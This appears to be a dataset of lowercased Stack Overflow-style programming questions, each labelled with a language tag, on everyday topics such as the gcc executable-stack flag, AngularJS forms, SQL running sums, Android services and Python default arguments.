how to make the stack of a c program executable   is there a way to make the stack of a c program executable through compilation      i did     <code>$ gcc -o convert -g convert</code>      and then run     <code>$ readelf -l convert</code>    to check if the stack is executable but the output was:    <code>gnu_stack      0x000000 0x00000000 0x00000000 0x00000 0x00000 rw  0x4 </code>,c
does presentviewcontroller change view.frame   i hava a question about screen transition.    to transit a screen  i often use presentviewcontroller method.   <pre><code>nextviewcontroller *nextviewcontroller = [[nextviewcontroller alloc] init]; nextviewcontroller.view.frame = cgrectmake(10  10  200  400);     [self presentviewcontroller:nextviewcontroller animated:yes completion:nil]; </code></pre>   however  the view.frame setting that i implemented is not applied.    following code runs correctly.   <pre><code>nextviewcontroller *nextviewcontroller = [[nextviewcontroller alloc] init]; [self presentviewcontroller:nextviewcontroller animated:yes completion:nil]; nextviewcontroller.view.frame = cgrectmake(10  10  200  400); </code></pre>   what s the difference of these code  is view.frame redefined in presentviewcontroller method     thanks.,objective-c
way to detect php interactive mode  i m looking for a way to detect whether php script is being executed inside php s interactive mode.    i have a <code>bootstrap.php</code> file that i <code>include</code> in some scripts  but also use when launching php in interactive mode to get a repl playground for stuff initialized in that file (mainly for exploring database via orm):   <pre><code>php -d auto_prepend_file=bootstrap.php -a </code></pre>   i d like to execute some code when it s being run from <code>php -a</code> — define few useful globals  show welcome help message.    <code>php_sapi</code> reports <code>cli</code> in both cases.    i d like something that:   <pre><code>php -d auto_prepend_file=bootstrap.php -a # → true  php -a include  bootstrap.php ; # → true  php bootstrap.php # → false  php file_that_includes_bootstrap.php # → false  php -r  include  bootstrap.php ;  # → false  cat bootstrap.php | php # → should be `false`  but i don t really care about that one </code></pre>,php
display table row in multiple rows  how to display a table row in multiple rows in html  my table has to be responsive.     for example  the table rows are   <pre><code>a  b  c  d a1 b1 c1 d1 </code></pre>   output should be    <pre><code> a   b  c   d --------------------  a1  b1  c1  d1 ---------------------  </code></pre>,html
porting to solaris sparc using sun studio 12  i am trying to compile an object file using the code below.   <pre><code>//--begin test.cpp class a;  void (a::* f_ptr) ();  void test() {     a *a;     (a-&gt;*f_ptr)(); } //-- end test.cpp </code></pre>   for gnu g++ compiler  it is able to compile the object file.    <code>$ g++ -c test.cpp</code>    but for sun studio 12 on a solaris 10 (sparc)  it outputs an error.    <code>$ cc -c test.cpp</code>   <blockquote>     test.cpp   line 7: error: cannot call through pointer to member function before defining class a.        1 error(s) detected.  </blockquote>   is there a compiler flags to get the sun studio c++ compiler to build the object file   is there another workaround,c++
how to work with derived tables  i am trying to understand a derived tables i kinda have an idea but still messing with it. i did this code that i dont think is right. i don t know if i have something input wrong or left something out. the table i am working with is a distinct company name from the customers table where the orders have a higher discount than.2.i have been looking over it maybe i have some of the names backwards or something.   <pre><code>select distinct c.companyname from customers as c join (select orderid from orders as o join [order details] as od on c.customers = od.orderid where od.orderid =  &lt;.2  </code></pre>   the last part is not working so well with the.2    how the columns are set up in the northwind database you click on tables and go down to see the dbo.order details and click on columns you will find orderid  productid  unitprice  quantity  disounts. then you will have the custumers table which had customerid  companyname  contactname  contacttitle  address  city  region  postalcode  country  phone  and fax. now if you go under the order table you will have orderid  customerid  employeeid  orderdate  requireddate  shippeddate shipvia  frieght  shipname  shipaddress  shipcity  shipregion  shippostalcode  shipcountry.,sql
efficient way of inserting into database after breaking a huge xml file  i need to split a huge xml file and  then insert into a database is this the most efficient way of doing what i am doing    here is my code   <pre><code>import xml.etree.celementtree as etree filename = r d:\test\books.xml  context = iter(etree.iterparse(filename  events=( start    end ))) _  root = next(context) books = [] for event  elem in context:     if event ==  start  and elem.tag ==  {http://www.book.org/book-19200/biblography}book :         etree.register_namespace(     http://www.book.org/book-19200/biblography )         xml = etree.tostring(elem)         xmls.append(xml)         if len(xmls) == 100:             populate_db(books)             books = []         root.clear()  def populate_db(books):     c.executemany( insert into books values ( )   books) </code></pre>   my sample book.xml looks like this   <pre><code>&lt;books&gt;     &lt;book xmlns= http://www.book.org/book-19200/biblography      xmlns:xsi= http://www.w3.org/2001/xmlschema-instance       isbn= 519292296      xsi:schemalocation= http://www.book.org/book-19200/biblography ../../book.xsd      http://www.w3.org/2000/12/xmldsig# ../../xmldsig-core-schema.xsd &gt;         &lt;detail id= 67 &gt;             &lt;bookname&gt;code complete 2&lt;/bookname&gt;             &lt;author&gt;steve mcconnell&lt;/author&gt;             &lt;pages&gt;960&lt;/pages&gt;             &lt;isbn&gt;0735619670&lt;/isbn&gt;                     &lt;bookname&gt;application architecture guide 2&lt;/bookname&gt;             &lt;author&gt;microsoft team&lt;/author&gt;             &lt;pages&gt;496&lt;/pages&gt;             &lt;isbn&gt;073562710x&lt;/isbn&gt;         &lt;/detail&gt;     &lt;/book&gt;     &lt;book xmlns= http://www.book.org/book-19200/biblography      xmlns:xsi= http://www.w3.org/2001/xmlschema-instance       isbn= 519292296      xsi:schemalocation= http://www.book.org/book-19200/biblography ../../book.xsd      http://www.w3.org/2000/12/xmldsig# ../../xmldsig-core-schema.xsd &gt;         &lt;detail id= 87 &gt;             &lt;bookname&gt;rocking python&lt;/bookname&gt;             &lt;author&gt;guido rossum&lt;/author&gt;             &lt;pages&gt;960&lt;/pages&gt;             &lt;isbn&gt;0735619690&lt;/isbn&gt;             &lt;bookname&gt;python rocks&lt;/bookname&gt;             &lt;author&gt;microsoft team&lt;/author&gt;             &lt;pages&gt;496&lt;/pages&gt;             &lt;isbn&gt;073562710x&lt;/isbn&gt;         &lt;/detail&gt;     &lt;/book&gt; &lt;/books&gt; </code></pre>   is this approach appending to a list and using batches of 100 and inserting into the database efficient or do i need to think of multi-threading here,python
can i start my new ios app with version number 2.0   can i start my version number 2.0 for a new ios app,ios
links to within page redefine page  i have links on a  page that i want to use to jump to portions of that page. i m using <code>&lt;h3 id= this-is-my-link-to-within-the-page &gt;</code> and referencing it via a link like so  <code>&lt;a href= #this-is-my-link-to-within-the-page &gt;link&lt;/a&gt;</code>. in explorer and firefox  from what i ve tested  clicking on the link takes you to the part of the page as expected  but the page is redefined with that part of the page as the beginning of the document. i ve never seen this behavior before and i m not sure why it s happening.    you can see it happening here: <a href= http://symphonyninjas.com/interviews/michael-eichelsdoerfer/  rel= nofollow >http://symphonyninjas.com/interviews/michael-eichelsdoerfer/</a>a,html
passing string 2d array to a function  i am passing string 2d array to a function in a following way. is it correct or can it be done better     <pre><code>#include&lt;iostream&gt; #include&lt;string&gt; using namespace std;  void print_name(string name[]) {     cout&lt;&lt;name[0]; }  int main() {     string name[4];     name[0] =  abc ;     name[1] = xyz ;     name[2] =  pqr ;     name[3]=  xyq ;      print_name(name);     return 0; } </code></pre>,c++
how to have two versions of the same application installed on the same pc   i have two versions of the same application. i want to install them to the same pc. when i install i get the error :    <blockquote>    another version of this product is already installed.  installation of this version cannot continue.  to configure or remove the existing version of this product  use add/remove programs on the control panel.  </blockquote>   is there something i can do in the version settings,c#
flexbox - ie 10-11 is not making columns equal width regardless of content  this method works in chrome  safari and ff however does not work in ie.     i have a table layout that i need the widths to equal the same width regardless of the content inside. to do this in the other browsers i have added the property flex: 1 1 0; to the element.     however when i look at this in ie it is still mis-aligned. i have read that the default value in ie is different so i tried adding the value 1 0 0 instead to see if this would change things with no success.     has anyone else had a similar problem with flex: 1; that they have fixed by using a prefix      ta,css
how to exit app while enter background  i need to exit my app while my app enter into background,ios
how to add lazy image loading to uiimageview  hello i am using the egoimageview for lazy image loading.i m using  the same code on uitable view. firstly i am configuring the cell and then with the use of tableviewcellwithreuseidentifier returning the cell.i am using the code:    this is my tableviewcellwithreuseidentifier where i am defining the uiimageview with tag:   <pre><code>- (uitableviewcell *)tableviewcellwithreuseidentifier:(nsstring *)identifier  </code></pre>   {   <pre><code>if([identifier isequaltostring:@ uicell ]) {     uitableviewcell *uicell = [[[uitableviewcell alloc] initwithframe:cgrectzero reuseidentifier:identifier] autorelease];      uicell.textlabel.textalignment = uitextalignmentcenter;     uicell.textlabel.font = [uifont systemfontofsize:16];     return uicell; }  cgrect rect;  rect = cgrectmake(0.0  0.0  320.0  70.0);   uitableviewcell *cell = [[[uitableviewcell alloc] initwithframe:rect reuseidentifier:identifier] autorelease]; //  [cell setaccessorytype:uitableviewcellaccessorydetaildisclosurebutton]; cell.selectionstyle =uitableviewcellselectionstylenone;       uiimageview *imageview = [[uiimageview alloc] initwithframe:cgrectmake(0.0  0.0  320.0  70.0)]; imageview.tag = bg_image; [cell.contentview addsubview:imageview]; [imageview release];   return cell; </code></pre>   }    and this the function where i am configuring the cell:   <pre><code>-(void)configurecell:(uitableviewcell *)cell forindexpath:(nsindexpath *)indexpath  </code></pre>   {   <pre><code>uiimageview *imageview = (uiimageview *)[cell viewwithtag:bg_image]; imageview.image = [uiimage imagenamed:@ event_box_bg.png ]; </code></pre>   }    this is my ego image code after initialization i want to know how to use this code and where    <pre><code>egoimageview *_eventimageview = [[egoimageview alloc] initwithplaceholderimage:[uiimage imagenamed:@ placeholder.png ]]; </code></pre>   please help..    thanks,iphone
if(expr expr) structure in c   anybodys know what is logical means of if(expr expr) structure in c  like:    <pre><code>if(lcn = (ulong)getlcn(index) lcn) </code></pre>,c
displaying a string on the textview when clicking a button in android  i m very new to android development and just started to study.    what i m trying is to add a button and when that button is pressed a text  my first project  to get displayed in the text view.    with the help of some experts i created the button and text view.    so the button is showing in the simulator but when i click that button nothing happens.    can anyone please help me with how can i display the text when pressing the button     .xml   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= fill_parent      android:layout_height= fill_parent      android:orientation= vertical  &gt;      &lt;textview         android:id= @+id/txtview          android:layout_width= 150dp          android:layout_height= 150dp          android:text= @string/hello  /&gt;      &lt;button    android:id= @+id/mybtn     android:layout_width= 50dp     android:layout_height= 30dp        /&gt;     &lt;textview    android:id= @+id/viewwidth     android:layout_width= fill_parent     android:layout_height= wrap_content      /&gt; &lt;textview    android:id= @+id/viewheight     android:layout_width= fill_parent     android:layout_height= wrap_content     /&gt;  &lt;/linearlayout&gt; </code></pre>   .java   <pre><code>import android.app.activity; import android.os.bundle; import android.widget.button; import android.widget.textview; import android.view.view; import android.widget.toast;  public class nameonbuttonclickactivity extends activity implements view.onclicklistener {     button mybtn;     textview txtview;     string hello;     /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         setcontentview(r.layout.main);         super.oncreate(savedinstancestate);         mybtn= new button(this);         txtview=new textview(this);         mybtn.setonclicklistener(this);         printmyname();          mybtn = (button)findviewbyid(r.id.mybtn);         txtview=(textview)findviewbyid(r.id.txtview);         txtview = (textview)findviewbyid(r.id.viewwidth);         txtview = (textview)findviewbyid(r.id.viewheight);          hello= this is my first project ;          //setcontentview(mybtn);        // setcontentview(r.layout.main);     }      public void onclick(view view){         txtview.settext(hello);               //printmyname();      toast.maketext(nameonbuttonclickactivity.this  hello  toast.length_long).show();                     }                 private void printmyname(){         system.out.println( coming );             } } </code></pre>,android
set a value to xml  using sharedpreferences i save a value. i need to set this value (duration) to xml file. how i resolve    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;alpha xmlns:android= http://schemas.android.com/apk/res/android     android:interpolator= @android:anim/accelerate_interpolator     android:fromalpha= 0.0  android:toalpha= 1.0  android:duration= 1500  /&gt; </code></pre>,android
java condition at constructor in order to invoke a parent constructor  i have a following java class:   <pre><code>public class characteristicresponse extends votableresponse {      public characteristicresponse() {     }      public characteristicresponse(characteristic characteristic) {         super(characteristic);          this.characteristicid = characteristic.getid();         this.name = characteristic.getname();         this.nameslug = characteristic.getnameslug();         this.description = characteristic.getdescription();         this.valuetype = characteristic.getvaluetype();         this.visualmode = characteristic.getvisualmode();          ...      }  } </code></pre>   i want to add additional argument to constructor in order to be able to control super constructor invocation.. for example something like this:   <pre><code>public characteristicresponse(characteristic characteristic  boolean detailed) {     if(detailed) {         super(characteristic);     } ...  } </code></pre>   the example above is not possible from java point of view so i m looking for a solution how it can be done at some other way.,java
i am trying to refactor my angular code according to john papa s style guide- i am getting an unknown injector error - unknown provider  unknown provider: freecodecamperserviceprovider &lt;- freecodecamperservice   <pre><code>    angular     .module( plunker )      .factory( freecodecamperservice   freecodecamperservice);       freecodecamperservice.$inject = [ $http ];        function freecodecamperservice($http){        var service ={     getpostsrequest: getpostsrequest      getpostsresponse: getpostsresponse   };    return service;   // 2f4f4f   function getpostsrequest(){     return $http.get( http://www.freecodecamp.com/news/hot ).then(getpostsresponse);   }    function getpostsresponse(response){     modifydate(response);     return response;   }         function modifydate(response){     for(var i=0; i&lt;response.data.length; i++){       response.data[i].timeposted=new date(response.data[i].timeposted).todatestring();         }        }      } </code></pre>   here is the link to my plunker - <a href= http://plnkr.co/edit/fw5ko4kafig9r1kzzwa3  rel= nofollow >http://plnkr.co/edit/fw5ko4kafig9r1kzzwa3</a>,angularjs
starting services  i ve only just really started android developing and have been reading about services <a href= http://developer.android.com/guide/topics/fundamentals/services.html  rel= nofollow >here</a>. i ve created a service which i then try to start in an activity  but i cannot work out why it will not show the toast notifications.    i ve got the following activity:   <pre><code>package com.example;  import android.app.activity; import android.content.context; import android.content.intent; import android.os.bundle;  public class example extends activity {     /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate)     {         super.oncreate(savedinstancestate);         context context = getapplicationcontext();          intent intent = new intent(context  mservice.class);         startservice(intent);         setcontentview(r.layout.main);     } } </code></pre>   and in my manifest i have this:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android    package= com.example    android:versioncode= 1    android:versionname= 1.0 &gt; &lt;application android:label= example  android:icon= @drawable/icon &gt;     &lt;activity android:name= example                android:label= @string/app_name &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.main  /&gt;             &lt;category android:name= android.intent.category.launcher  /&gt;         &lt;/intent-filter&gt;     &lt;service android:name= .mservice  /&gt;     &lt;/activity&gt; &lt;/application&gt; </code></pre>       and then my service looks like this:   <pre><code>package com.example;  import android.app.intentservice; import android.content.intent; import android.widget.toast;  public class mservice extends intentservice {  public mservice() {     super( mservice ); }  @override public int onstartcommand(intent intent  int flags  int startid) {     toast.maketext(this   service starting   toast.length_short).show();     return super.onstartcommand(intent flags startid); }  @override protected void onhandleintent(intent intent) {     toast.maketext(this   systems starting   toast.length_short).show(); } </code></pre>   }    i know your not really mean to override onstartcommand but this was more as testing exercise since i also tried without,android
cannot submit a form in angularjs to server  i am learning angularjs and i got a beta project to modify the exisiting model. i cannot post the below form through api. when i click on submit button  the dasboard is senseless. can some one guide me how to move further. this is angular version:1.6.0. i have passed the ng-submit as startapproval in form element.. but it doesn t workout   <blockquote>    index.html  </blockquote>  <pre><code>&lt;form ng-controller= requestcontroller  method= post  ng-submit= startapproval() &gt;  &lt;div class= container &gt;    &lt;div class= row  ng-submit&gt;     &lt;p class= text-info &gt;please create request...&lt;/p&gt;     &lt;!-- left --&gt;     &lt;div class= col-lg-2 &gt;        &lt;div class= panel panel-primary &gt;         &lt;!-- heading --&gt;         &lt;div class= panel-heading &gt;           &lt;h4&gt;request&lt;/h4&gt;         &lt;/div&gt;         &lt;!-- body --&gt;         &lt;div class= panel-body &gt;           &lt;!-- process type --&gt;           &lt;div class= groups list list-inset &gt;             &lt;div class= form-group &gt;               &lt;label for= generic_process_id &gt;select process typ:&lt;/label&gt;               &lt;select class= form-control  id= generic_process_id  ng-model= request.approvalobject.generic_process_id  &gt;                &lt;option value= 1   ng-show= true  &gt;simple process&lt;/option&gt;                 &lt;!--   &lt;option ng-hide=  true  ng-disabled= true  value= 2 &gt;2&lt;/option&gt;                 &lt;option ng-hide=  true  ng-disabled=  true  value= 3 &gt;3&lt;/option&gt;                 &lt;option ng-hide=  true  ng-disabled=  true  value= 4 &gt;4&lt;/option&gt;--&gt;               &lt;/select&gt;             &lt;/div&gt;           &lt;/div&gt;          &lt;/div&gt;        &lt;/div&gt;       &lt;div class= panel panel-warning &gt;         &lt;!-- heading --&gt;         &lt;div class= panel-heading &gt;           &lt;h4&gt;priority&lt;/h4&gt;         &lt;/div&gt;         &lt;!-- body --&gt;         &lt;div class= panel-body &gt;           &lt;!-- priority type --&gt;           &lt;div class= groups list list-inset &gt;             &lt;label&gt;select priority:&lt;/label&gt;&lt;br&gt;             &lt;div class= btn-group  ng-init= request.approvalobject.priority= 1  &gt;               &lt;label class= btn btn-info  ng-model= request.approvalobject.priority  uib-btn-radio=  1   uncheckable&gt;low&lt;/label&gt;               &lt;label class= btn btn-info  ng-model= request.approvalobject.priority  uib-btn-radio=  2   uncheckable&gt;high&lt;/label&gt;             &lt;/div&gt;           &lt;/div&gt;           &lt;hr&gt;         &lt;/div&gt;       &lt;/div&gt;      &lt;/div&gt;     &lt;!-- center --&gt;     &lt;div class= col-lg-6 &gt;       &lt;!-- description part--&gt;       &lt;div class= panel panel-success &gt;         &lt;!-- heading --&gt;         &lt;div class= panel-heading &gt;           &lt;h4&gt;description&lt;/h4&gt;         &lt;/div&gt;         &lt;pre&gt;{{request.approvalobject|json}}&lt;/pre&gt;         &lt;pre&gt;{{request.form|json}}&lt;/pre&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;!-- right --&gt;     &lt;div class= col-lg-4 &gt;       &lt;!-- value part--&gt;       &lt;div class= panel panel-info &gt;         &lt;!-- heading --&gt;         &lt;div class= panel-heading &gt;           &lt;h4&gt;value&lt;/h4&gt;         &lt;/div&gt;         &lt;!-- body --&gt;         &lt;div class= panel-body &gt;           &lt;div class= groups list list-inset &gt;             &lt;label class= item item-input &gt;               &lt;input type= text  placeholder=   name= value  ng-model= request.approvalobject.value &gt;&lt;b class= text-primary &gt;{{request.approvalobject.value_currency}}&lt;/b&gt;             &lt;/label&gt;            &lt;br&gt;          &lt;/div&gt;       &lt;/div&gt;        &lt;div class= panel panel-info &gt;         &lt;!-- heading --&gt;         &lt;div class= panel-heading &gt;           &lt;h4&gt;approver&lt;/h4&gt;         &lt;/div&gt;         &lt;!-- body --&gt;         &lt;div class= panel-body &gt;           &lt;div class= groups list list-insert &gt;             &lt;label class= item item-input &gt;               &lt;input type= text  placeholder= first approver name  name= approver1_name  ng-model= request.approvalobject.approver1_name &gt;             &lt;/label&gt;           &lt;/div&gt;           &lt;!-- show second approver if process type != 1 --&gt;           &lt;div ng-show= secondapprover   class= groups list list-insert &gt;             &lt;label class= item item-input &gt;               &lt;input type= text  placeholder= second approver name  name= approver2_name  ng-model= request.approvalobject.approver2_name  &gt;             &lt;/label&gt;           &lt;/div&gt;         &lt;/div&gt;       &lt;/div&gt;      &lt;/div&gt; &lt;/div&gt; &lt;input type= submit  value= request &gt;  &lt;/form&gt; </code></pre>  <blockquote>    controller.js  </blockquote>  <pre><code> use strict ;  export default class requestcontroller {     approvalobject = {};     form = {};    secondapprover = false;    $oninit() {   this.approvalobject.generic_process_id=1;   this.approvalobject.value_currency= eur ;   this.approvalobject.priority=1;     this.form.type=1; }    /*@nginject*/   constructor($http  $scope  socket) {     this.$http = $http;     console.log( testentry );   }     startapproval(approvalobject) {     console.log( test );     // creator_email and name from backend     approvalobject.generic_process_id=1;     approvalobject.creator_email=  test1@example.com ;     approvalobject.creator_name=  test1 ;     approvalobject.approver1_email= approvalobject.approver1_name+ @example.com ;     approvalobject.approver2_email= approvalobject.approver2_name+ @example.com ;      // wip from backend     approvalobject.approval_process_status=  wip ;     approvalobject.priority=  super high ;     //date_of_creation:      --&gt;&gt; filled by database     approvalobject.date_of_expiration = undefined;     approvalobject.sending_tool=  web-app ;     approvalobject.submitrequest=true;      this.$http.post( /api/approvals   approvalobject); } } </code></pre>,angularjs
sum operation performed on rows till specified value: a new row for each group for which the sum exceeds the specified value <pre><code>create table temp(resource_value varchar2(63 byte) tot_count number) </code></pre>   i want an query which can extract the range from which to which i want to have breakup of the sum records to xyz value. i will  say 50 000 is the break up need. then it has to display all the ranges from which resource_value   to which resource_value   i can get sum &lt;=50 000. one resource_value   value can be included in only one range.    example: sample data  the below is the input    <pre><code>resource_value | tot_count ---------------+----------        1          100        2          50        3          20        4          30        5          300        6          250        7          200        8          30        9          60        10         200        11         110        12         120 </code></pre>   then the output has to be something like this :    sample output 1: <code>when sum(tot_count)&lt;=300</code>   <pre><code>start resource_value    endresource_value   sum ---------------------+---------------------+-------        1                      4               300        5                      5               300        6                      6               250        7                      9               290        10                     10              200        11                     12              230 </code></pre>   sample output 2: when <code>sum(tot_count)&lt;=500</code>   <pre><code>start resource_value    end resource_value  sum  ---------------------+---------------------+------            1                   4             300            5                   5             300            6                   8             480            9                   12            490 </code></pre>,sql
red font in firefox page source  i have been messing around with my meta descriptions  trying to make them more unique by showing relevant data from the database.    but when i check the meta description by right-clicking in firefox and showing the page source  the meta description tags is in red color  making me think i have made some kind of mistake.    what does the red text usually mean,html
why am i getting error #1136 - column count doesn t match value count at row 1   i get this error:   <pre><code>#1136 - column count doesn t match value count at row 1  </code></pre>   when i try to do this:   <pre><code>insert into folding_cartons  (part_no  description  count  size  pdf_link  min  max  current)  values ( 240-63100-00’ ‘yb mv cherry’  ‘90’ ‘3 x 2-11/16 x 5-5/64’  ‘http://www.logicpkg.com/data/hero/copies/240-63100-00.pdf   0   0   0 ) </code></pre>   what does the error mean,mysql
how can i get set of enums except one using linq   i have a set of enums   <pre><code>public enum syncrequesttypeenum {  projectlevel=1   diffsync=2   fullsync=3 } </code></pre>   i want to display these enums in a drop down list except projectlevel. can i get these details using linq  can someone help on this,c#
why the default argument behaved globally immutable   the <code>default arguments</code> in python are intuitively the variables locally scoped but globally mutable.     below  why had the second call to <code>my_sum</code> the result <code>20</code> although i expected it <code>30</code>     <pre><code>def my_append(el  ar = []):   ar.append(el)   return ar print my_append(10) # =&gt; [10] print my_append(20) # =&gt; [10  20]  def my_sum(i  sum = 0):   sum += i   return sum print my_sum(10) # =&gt; 10 print my_sum(20) # =&gt; 20 </code></pre>,python
#import is doubling up interface definitions and causing error  i have two classes: <code>requisitiongetdetails</code> and <code>requisitionrelease</code>. both <code>#import usadditions.h</code> in the .m file    now in class file: <code>reqdetailviewcontroller.m</code> i <code>#import requisitiongetdetails.h</code> and r<code>equisitionrelease.h</code> and when i compile i get duplicate interface definition for all objects defined in usadditions.h    i only use <code>#import</code>. i do not have #include anywhere in my code. i thought #import was supposed to handle duplicate definitions like this. if i comment out <code>#import requisitionrelease.h</code> the duplicate error goes away which tells me the compiler it pulling in the definitions from <code>usadittions.h</code> twice via the other two classes but not ignoring the dups.    am i wrong in understanding how #import works  any ideas how to fix this  i have seen a few similar posts but none of the solutions applied to me or helped me.,objective-c
my carousel only displays the first thing from the database but wont display the next one and onward  my carousel only displays the first thing from the database but wont display the next one and onward    this is my code and the query it wont display the 2nd image but it displays the 1st image  can anybody help thanks   <pre><code>    &lt; php             require_once( db2.php );             $gardendbb = new gardendbb();             $result = ($gardendbb-&gt;loadallgallery());             $num_rows = mysql_num_rows($result);             $counter = 1; while($db_field = mysql_fetch_array($result)){    &gt;  &lt;div class= item&lt; php if ($counter &lt;= 1){echo   active ;  &gt;  style= background-image: url(&lt; php echo  ./upload2/ .$db_field[ image_name ] &gt; )&gt;; &lt; php           echo       &lt;div class= container &gt; ;                   echo   &lt;div class= row slide-margin &gt; ;                         echo  &lt;div class= col-sm-6 &gt; ;                             echo  &lt;div class= carousel-content &gt; ;                                  echo  &lt;h1 class= animation animated-item-1 &gt; .$db_field[ proname ]. &lt;/h1&gt; ;                                echo  &lt;h2 class= animation animated-item-2 &gt; .$db_field[ prodescription ]. &lt;/h2&gt; ;                                echo  &lt;/div&gt; ;                         echo  &lt;/div&gt; ;                      echo  &lt;/div&gt; ;                 echo  &lt;/div&gt; ;            echo  &lt;/div&gt; ;              $counter++;             } }     &gt;        public function loadallgallery() {     $db_found = $this-&gt;connect_db();     if ($db_found) {         $sql =  select * from tbl_car ;         $result = mysql_query($sql);                     return $result;         mysql_free_result($result);          }     else {         $errormsg =  database not found  please connect your administrator  ;                }            $this-&gt;close_db();   } </code></pre>,php
how to skip   <h2 > <a......> while getting data  i am sorry i dont have proper word to give title. what i am trying to do is this code is fulfilling my requirements by giving me the all text. but problem is that while getting text something like  &lt; p>   &lt; a href....>    &lt; h1 >    &lt; h2 > .... are also printing. so anyone who can help me to skip those tags  my code : (i am using python 2.7.8)   <pre><code>import urllib from xml.etree.elementtree import parse  # download the rss feed and parse it u = urllib.urlopen( http://planet.python.org/rss20.xml ) doc = parse(u)  # extract and output tags of interest for item in doc.iterfind( channel/item ): #    title = item.findtext( title ) #    date = item.findtext( pubdate ) #    link = item.findtext( link )     des = item.findtext( description ) #    print(title) #    print(date) #   print(link)     print(des)     print() </code></pre>,python
what is the difference between an interface and an abstract class  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/761194/interface-vs-abstract-class-general-oo >interface vs abstract class (general oo)</a>    </blockquote>     i m not exactly clear on the difference.    thanks,java
add a loop that allows me to display error statement and return to a certain place in the code  i m trying to write a code that calculates batting average. i ve got a couple of kinks right now. first  i m trying to add an error message which would end progress and redirect the user to a previous point if they enter a foul string. i m wanting this to happen where the program states   acceptable batting record codes are....  . how can i make the program request the players batting record again  and continue the code from there rather than continuing     <pre><code>#include &lt;iostream&gt; using namespace std;  //prototype to keep console from closing. class keeprunning {   public:     ~keeprunning() {       system( pause );}};  //define batting values #define h  1 #define h  1 #define o  1 #define o  1 #define w  0 #define w  0 #define s  0 #define s  0 #define p  0 #define p  0  int main () { keeprunning kr;  int player;                 //assign player number double sum;                 //assign variable for sum of h  h and o  o double sumhits;             //assign variable for sum of only h and h double average;             //assign variable for average of h and o char size[100];             //allows compiler to view user input as array int b;                      //assign variable for integer size int letters = 0;            //assing value of 0 to allow compiler to count  cout &lt;&lt;  \t\t\tbatting average calculator\t\t ;  cout &lt;&lt;  \n\nenter the player s number:  ; cin &gt;&gt; player;  cout &lt;&lt;  enter the player s batting record:  ; cin &gt;&gt; size;     {b = 0;      while (size[b] != 0)      if (( size[b] =  h   o   w   s   p ) || (size[b] =  h   o   w   s   p ))      { letters++; b++; }      else ( size[b] !=  h   o   w   s   p ) || (size[b] !=  h   o   w   s   p );      {cout &lt;&lt;  \nacceptable batting record codes are:  h   o   w   s   p . please try again.\n ;}}  //summate h  h  o  o sum = letters;  //summate  sumhits = h + h;  //calculate batting average average = sumhits/sum;  cout &lt;&lt;  \nplayer   &lt;&lt; player &lt;&lt;   s batting record:   &lt;&lt; size &lt;&lt; endl; cout &lt;&lt;  player   &lt;&lt; player &lt;&lt;   s batting average:   &lt;&lt; average &lt;&lt; endl;  std::cout &lt;&lt;  press enter to continue... ; std::cin.ignore( std::numeric_limits&lt;std::streamsize&gt;::max()   \n  );          return 0; } </code></pre>,c++
asp.net 4.5 textbox textmode  it s possible to block past dates in asp.net textbox textmode =  datetime  or  date,asp.net
passing a derived class into a map c++  what i would like to do is place a manager into a map  and then call functions correlating to each manager. because i have different types of managers i created a base class like so:   <pre><code>class igyromanager { public:     igyromanager() {}     virtual ~igyromanager() = default;      virtual bool preinit() = 0;      virtual bool init() = 0;      virtual bool postinit() = 0;      virtual void update() = 0;      virtual void cleanup() = 0; } </code></pre>   pretty straight forward and obviously works like a charm.    then i do the following to create a derived class:   <pre><code>class gyroaudiomanager : public igyromanager { public:     gyroaudiomanager();     ~gyroaudiomanager() override;      bool preinit() override;      bool init() override;      bool postinit override;      void update() override;      bool cleanup() override; } </code></pre>   again  simple and straight forward. the cpp is very basic and just declares the bare functions.    i then create one final derived class:   <pre><code>class gyroappstatemanager : igyromanager { private:     std::map&lt;int  igyromanager&amp;&gt; m_managermap;  public:     gyroappstatemanager();     ~gyroappstatemanager() override;      bool preinit() override;      bool init() override;      bool postinit() override;      int start();      void update() override;      bool registermanager(igyromanager&amp; manager);      bool cleanup() override; } </code></pre>   that seems to work  but it s in the registermanager function where it falls apart:   <pre><code>bool gyroappstatemanager::registermanager(igyromanager&amp; manager) {     // try to insert a derived class into a base class map using what     // should be working.     m_managermap.insert(1  manager);      return true; } </code></pre>   and in the calling function:   <pre><code>int start() {     gyroaudiomanager m_audiomanager = gyroaudiomanager();      mp_appstatemanager-&gt;registermanager(m_audiomanager);       /* use mp_appstatemanager here  while m_audiomanager is alive */ } </code></pre>   except this does not seem to work at all and spits out the following:   <pre><code>error: no matching function for call to std::map&lt;int  igyromanager&amp;&gt;::insert(int  igyromanager&amp;) </code></pre>   so my question is what am i doing wrong  as i mentioned above  i d like to add multiple different manager classes that derive a single base class to this map and then be able to run certain functions from it.    is there actually a way of doing it,c++
what should be the hash function for ip addresses   i am a beginner in this course of data structures so i have no idea of representing ip addresses as key to the hash tables.kindly guide me how can i implement hashtables having ip addresses as key and path or different ip address as value,c++
is this in any way useful if (this != null)   i came across some tests that included code like this:    <pre><code>if (this != null) {     do something } </code></pre>   is this if clause of any use   is there a purpose i don t get that makes this useful,java
using  in  with  or   entire code:    <pre><code>message = input( enter a message:  ) etimes = 0 print( your message is  len(message)  characters long )  print( the most common letter in the english language   e   is    end=  ) for letter in message:     if  e  in letter:         etimes += 1  if  e  or  e  in message:     print( in your message   etimes   times ) else:     print( is not in your message ) </code></pre>   why does    <pre><code>if  e  in letter:             etimes += 1 </code></pre>   work properly  but if i were to change it to   <pre><code>if  e  or  e  in letter:             etimes += 1 </code></pre>   it does not  if i use this code it will tell me there are as many  e s as my message is long ex: <code>message =  hello </code> would return  your message is 5 characters long the most common letter in the english language   e   is in your message 1 times  why is this,python
